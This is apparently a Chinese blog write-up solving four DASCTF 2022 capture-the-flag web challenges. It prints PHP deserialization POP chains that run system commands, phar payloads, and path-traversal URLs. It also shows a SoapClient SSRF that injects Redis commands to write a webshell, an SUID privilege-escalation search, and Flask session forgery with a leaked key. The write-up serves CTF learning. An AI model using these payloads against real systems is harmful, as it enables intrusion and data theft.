• DASCTF 2022十月挑战赛 web


    EasyPOP

    源码附上

    
    highlight_file(__FILE__);
    error_reporting(0);
    
    class fine
    {
        private $cmd;
        private $content;
    
        public function __construct($cmd, $content)
        {
            $this->cmd = $cmd;
            $this->content = $content;
        }
    
        public function __invoke()
        {
            call_user_func($this->cmd, $this->content);
        }
    
        public function __wakeup()
        {
            $this->cmd = "";
            die("Go listen to Jay Chou's secret-code! Really nice");
        }
    }
    
    class show
    {
        public $ctf;
        public $time = "Two and a half years";
    
        public function __construct($ctf)
        {
            $this->ctf = $ctf;
        }
    
    
        public function __toString()
        {
            return $this->ctf->show();
        }
    
        public function show(): string
        {
            return $this->ctf . ": Duration of practice: " . $this->time;
        }
    
    
    }
    
    class sorry
    {
        private $name;
        private $password;
        public $hint = "hint is depend on you";
        public $key;
    
        public function __construct($name, $password)
        {
            $this->name = $name;
            $this->password = $password;
        }
    
        public function __sleep()
        {
            $this->hint = new secret_code();
        }
    
        public function __get($name)
        {
            $name = $this->key;
            $name();
        }
    
    
        public function __destruct()
        {
            if ($this->password == $this->name) {
    
                echo $this->hint;
            } else if ($this->name = "jay") {
                secret_code::secret();
            } else {
                echo "This is our code";
            }
        }
    
    
        public function getPassword()
        {
            return $this->password;
        }
    
        public function setPassword($password): void
        {
            $this->password = $password;
        }
    
    
    }
    
    class secret_code
    {
        protected $code;
        public static function secret()
        {
            include_once "hint.php";
            hint();
        }
        public function __call($name, $arguments)
        {
            $num = $name;
            $this->$num();
        }
        private function show()
        {
            return $this->code->secret;
        }
    }
    
    
    if (isset($_GET['pop'])) {
        $a = unserialize($_GET['pop']);
        $a->setPassword(md5(mt_rand()));
    } else {
        $a = new show("Ctfer");
        echo $a->show();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129

    这道题也是唯一写出来的web

    拿到源码就看哪里可以命令执行RCE,看那些php特殊函数,这里的话 就是`call_user_func($this->cmd, $this->content);

    具体如何利用是这样的

    
    	call_user_func($_GET['a1'],$_GET['a2']);
    	//xxx.php?a1=system&a2=whoami  //命令执行
    	///xxx.php?a1=assert&a2=phpinfo()   //代码执行
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    从而实现RCE

    看源码 有发现一个 hint(); 按理说hint应该是有用的嘛,就想去构造去执行一些hint()函数 ,

    所以要进入secret_code类里面的secret()方法 ,刚开始还想用show()方法去触发secret()

    但其实

    else if ($this->name = "jay") {
            secret_code::secret();
    
    • 1
    • 2

    这里直接触发了secret()

    生成payload要删除__sleep()

    $s = new sorry('jay','123');
    echo serialize($s);
    
    • 1
    • 2

    image-20221023135619813

    hint是这个 , 确实没用,因为可以通过call_user_func() 直接rce 去翻文件的

    审计一下可以发现这条链子

    sorry:__destruct()-> show:__toString()-> secret_code:call() ->secret_code:show() ->sorry:__get -> fine : __invoke

    注意:__call是针对无方法,__get是针对无属性

    poc如下

    
    
    
    class fine
    {
        private $cmd;
        private $content;
    
        public function __construct($cmd, $content)
        {
            $this->cmd = $cmd;
            $this->content = $content;
        }
    
    }
    
    class show
    {
        public $ctf;
        public $time = "Two and a half years";
    
        public function __construct($ctf)
        {
            $this->ctf = $ctf;
        }
    }
    
    class sorry
    {
        private $name;
        private $password;
        public $hint;
        public $key;
    
        public function __construct($name, $password,$hint,$key)
        {
            $this->name = $name;
            $this->password = $password;
            $this->hint=$hint;
            $this->key=$key;
        }
    
    
    }
    
    class secret_code
    {
        protected $code;
    
        public function __construct($code)
        {
            $this->code=$code;
        }
    }
    
    $s = new sorry('aaa','aaa',new show(new secret_code(new sorry('aaa','aaa','aaa',new fine('system','cat /flag')))),'aaa');
    echo urlencode(serialize($s));
    
    //4,get -> invoke
    //3,show() -> get
    //2,toString -> show()
    //1,destruct -> toString
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63

    这里我设置name和password都为aaa,可能正好绕过了 随机密码这个地方,可以打通

    其实步骤里还差一个永真表达式 就是让
    $this->password=&$this->name
    
    • 1
    • 2

    注意一定要在代码中进行url编码 ,然后绕wakeup时候手动修改类个数即可

    hade_waibo

    小明为了每日欣赏美少女,专门写了一个平台供网友分享与浏览,结果却被可恶的黑客入侵并留下一个恶作剧,你能帮他看一看吗? tips:flag在/目录下的一个文件里
    
    • 1

    有个输入用户名登录,进去有上传点,并且可以search文件

    这种就很像phar反序列化,之前也有非预期直接读/flag

    这题还能非预期! 看看

    在search界面

    /file.php?m=show&filename=../../../../start.sh
    
    • 1

    然后搜到损坏的图,打开后看源码 里面有flag的文件名信息

    image-20221029172446135

    start.sh是执行脚本文件 , 这方法有趣

    /file.php?m=show&filename=../../../../ghjsdk_F149_H3re_asdasfc
    
    • 1

    同样的方法得到flag

    filename=class.php读到源码

    
    class User
    {
        public $username;
        public function __construct($username){
            $this->username = $username;
            $_SESSION['isLogin'] = True;
            $_SESSION['username'] = $username;
        }
        public function __wakeup(){
            $cklen = strlen($_SESSION["username"]);
            if ($cklen != 0 and $cklen <= 6) {
                $this->username = $_SESSION["username"];
            }
        }
        public function __destruct(){
            if ($this->username == '') {
                session_destroy();
            }
        }
    }
    
    class File
    {
        #更新黑名单为白名单,更加的安全
        public $white = array("jpg","png");
    
        public function show($filename){
            echo '

    '; if(empty($filename)){die();} return '.base64_encode(file_get_contents($filename)).'" />'; } public function upload($type){ $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); return "Upload success! Path: upload/" . $filename; } public function rmfile(){ system('rm -rf /var/www/html/upload/*'); } public function check($type){ if (!in_array($type,$this->white)){ return false; } return true; } } #更新了一个恶意又有趣的Test类 class Test { public $value; public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); } }

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74

    先去找链子,Test类中的backdoor里面的system函数可以执行命令

    但是有正则过滤 , 无字母数字和三个符号,且system不能执行异或、取反这些

    __wakeup因为版本问题无法绕过(PHP5<5.6.25,PHP7 < 7.0.10可以绕),那如何让value的值不变呢,我们只需要让value指向一个变量的地址,这样就不会变了

    在保证 value 不会被改变的情况下,怎么绕过 preg_match 执行 shell 呢?这边又有一个小知识点:在 linux 中,. ./* 会把当前目录下的所有文件当作 sh 文件执行。

    image-20221030163108662

    这里就是. ./*执行了该目录下1.jpg里面的命令

    所以这题可以上传一个这样1.jpg

    #!/bin/sh
    ls /
    
    • 1
    • 2

    问题又来了,怎么令 value. ./* 呢?我们接着看 User类,在 __wakeup $this->username = $_SESSION["username"];,也就是 $this->username == 我们的登录名,那么我们是就可以在登录时,以 . ./* 为登录名,然后令 Test 类中的 value 指向 username,因为 username 是可控的。

    poc如下:

    
    class User{
        public $username;
    }
    class Test{
        public $value;
    }
    $user = new User();
    $test = new Test();
    $user->username = new Test(); 
    $user->a= $test;  //这句不太理解,这句的用途是可以顺利调用value
    $test->value = &$user->username;
    echo serialize($user);
    
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub(""); //设置stub
    $phar->setMetadata($user); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    rename("phar.phar", "test.jpg");
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    这里为何还需要User对象用一个不存在的属性实例化 Test()类,确实不太理解,有和没有的区别如下

    O:4:"User":2:{s:8:"username";O:4:"Test":1:{s:5:"value";N;}s:1:"a";O:4:"Test":1:{s:5:"value";R:2;}}
    
    O:4:"User":1:{s:8:"username";O:4:"Test":1:{s:5:"value";N;}}
    
    • 1
    • 2
    • 3

    看师傅们的博客大概是能顺利调用value,

    上传1.jpg 后 用 . ./*作为用户名登录 ,然后上传phar文件

    读取1.jpg 来实现 ls /

    未复现成功,哪里出问题了。。大佬们指引一下

    EasyLove

    Redis是世界上最好的数据库!

    进来后是源码

     <?php
    highlight_file(__FILE__);
    error_reporting(0);
    class swpu{
        public $wllm;
        public $arsenetang;
        public $l61q4cheng;
        public $love;
        
        public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
            $this->wllm = $wllm;
            $this->arsenetang = $arsenetang;
            $this->l61q4cheng = $l61q4cheng;
            $this->love = $love;
        }
        public function newnewnew(){
            $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
        }
    
        public function flag(){
            $this->love->getflag();
        }
        
        public function __destruct(){
            $this->newnewnew();
            $this->flag();
        }
    }
    class hint{
        public $hint;
        public function __destruct(){
            echo file_get_contents($this-> hint.'hint.php');
        }
    }
    $hello = $_GET['hello'];
    $world = unserialize($hello);  
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    有个hint,去读一下 , file_get_contents 用 伪协议读hint.php源码

    构造 file_get_contents("php://filter/read=convert.base64-encode/resource=/var/www/html/hint.php")

    也就是

    
    class hint{
        public $hint="php://filter/read=convert.base64-encode/resource=/var/www/html/";
    }
    $s = new hint();
    echo serialize($s);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    传进去后得到

    image-20221103110537743

    也就是可能Redis的密码 是20220311

    到这里不太懂了,去了解了解ssrf打redis,多看看一些文章和wp

    https://blog.csdn.net/m0_62422842/article/details/127553366

    public function newnewnew(){
            $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
        }
     public function flag(){
            $this->love->getflag();
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    首先destruct就直接调用了这两个方法,newnewnew()里面的参数我们是可控的属性,flag()里调用了不存在的方法

    可以触发SoapClient原生类的call方法,那么利用条件满足,关于SoapClient原生类的call方法 看这篇文章

    https://blog.csdn.net/qq_38154820/article/details/119952852

    SoapClient类需要两个参数,第一个参数通常指明是否是wsdl模式,我们构造的时候通常为Null,第二个参数是个数组.

    只能先大概理解一下了,可以通过uri选项向内网redis发指令写木马

    AUTH 20220311 //验证客户端链接
    CONFIG SET dir /var/www/html  //设置写入的目录
    SET x ''  //设置写入的内容 这里不要有空格的好
    CONFIG SET dbfilename hack.php  //设置写入的文件名
    SAVE  //保存结束
    
    • 1
    • 2
    • 3
    • 4
    • 5

    写一下脚本了,redis一般在6379端口

    exp里面 $option 是一个数组,必须设置locationuriuri就是上面的指令,以\r\n隔开

    
    $target = "http://127.0.0.1:6379";
    $option = array("location"=>$target,"uri"=>"hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x ''\r\nCONFIG SET dbfilename hack.php\r\nSAVE\r\nhello");
    class swpu{
        public $wllm;
        public $arsenetang;
        public $l61q4cheng;
        public $love;
    }
    $s = new swpu();
    $s->wllm = "SoapClient";
    $s->arsenetang = null;
    $s->l61q4cheng = $option;
    
    echo urlencode(serialize($s));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    image-20221103141743048

    打payload进去

    然后访问我们写的hack.php 进行命令执行 成功,连接蚁剑

    image-20221103142222900

    然后找到flag文件 没有权限读,考虑SUID 提权

    find / -perm -u=s -type f 2>/dev/null
    
    • 1

    这玩意在蚁剑下没有回显? 在网站上进行执行后

    image-20221103143631778

    有date就考虑date读取 date -f

    image-20221103142759293

    BlogSystem

    刚学习完flask,用flask写了一个博客并放了一点文章上去

    https://pysnow.cn/archives/566/ 出题人文章很详细,纯跟着学习一下

    image-20221104113047529

    admin被注册了,考虑如何登录admin,用普通用户登录一下,有发布文章,修改密码,查看文章的功能

    然后就是在写的文章里,《flask基础总结》,发现了密钥泄露的情况 (跟着文章还学习了不少)

    image-20221104113025146

    知识点 flask伪造session

    工具:https://github.com/noraj/flask-session-cookie-manager

    解密
    python3 flask_session_cookie_manager3.py decode -c ceyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6IjEyMzEyMyJ9.Y2SOJw.VxdoMEDiLe2__2QHVJs9R6S8DwY -s 7his_1s_my_fav0rite_ke7
    
    • 1
    • 2

    image-20221104132246944

    拿到正确的用户信息,现在伪造一下admin的session

    python3 flask_session_cookie_manager3.py encode -s 7his_1s_my_fav0rite_ke7 -t "{'_permanent': True, 'username': 'admin'}"
    
    • 1

    拿到eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn0.Y2SiEw.epCgY0vgKMxePBuf7_kwhCpy1es

    image-20221104132721247

    替换后成功admin登录,发现多了个download

    image-20221104133105527

    这里考虑目录穿越

    image-20221104133326553image-20221104133520124

    测试一下,肯定是对…和//进行替换为空了

    要实现../ 可以构造成 .//./

    image-20221104134210929

    现在就可以翻源码,代码审计了

    入口点在/app/app.py

    from flask import *
    import config
    
    app = Flask(__name__)
    app.config.from_object(config)
    app.secret_key = '7his_1s_my_fav0rite_ke7'
    from model import *
    from view import *
    
    app.register_blueprint(index, name='index')
    app.register_blueprint(blog, name='blog')
    
    @app.context_processor
    def login_statue():
        username = session.get('username')
        if username:
            try:
                user = User.query.filter(User.username == username).first()
                if user:
                    return {"username": username, 'name': user.name, 'password': user.password}
            except Exception as e:
                return e
        return {}
    
    
    @app.errorhandler(404)
    def page_not_found(e):
        return render_template('404.html'), 404
    
    
    @app.errorhandler(500)
    def internal_server_error(e):
        return render_template('500.html'), 500
    
    
    if __name__ == '__main__':
        app.run('0.0.0.0', 80)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    后面有些不理解,待补充

  • 相关阅读:
    论文阅读 (100):Simple Black-box Adversarial Attacks (2019ICML)
    Web Audio API 第4章 音调与频域
    c++多源BFS
    微软: 用于文本到语音合成(TTS)的语言模型方法VALL-E
    蓝桥等考C++组别一级010
    【机器学习Python实战】logistic回归
    CentOS7.6(Linux)环境下有网和无网安装Docker
    不使用辅助变量的前提下实现两个变量的交换
    UniPro提高集成能力 让客户专注于交付价值
    io输入输出流
  • 原文地址:https://blog.csdn.net/qq_61768489/article/details/127689072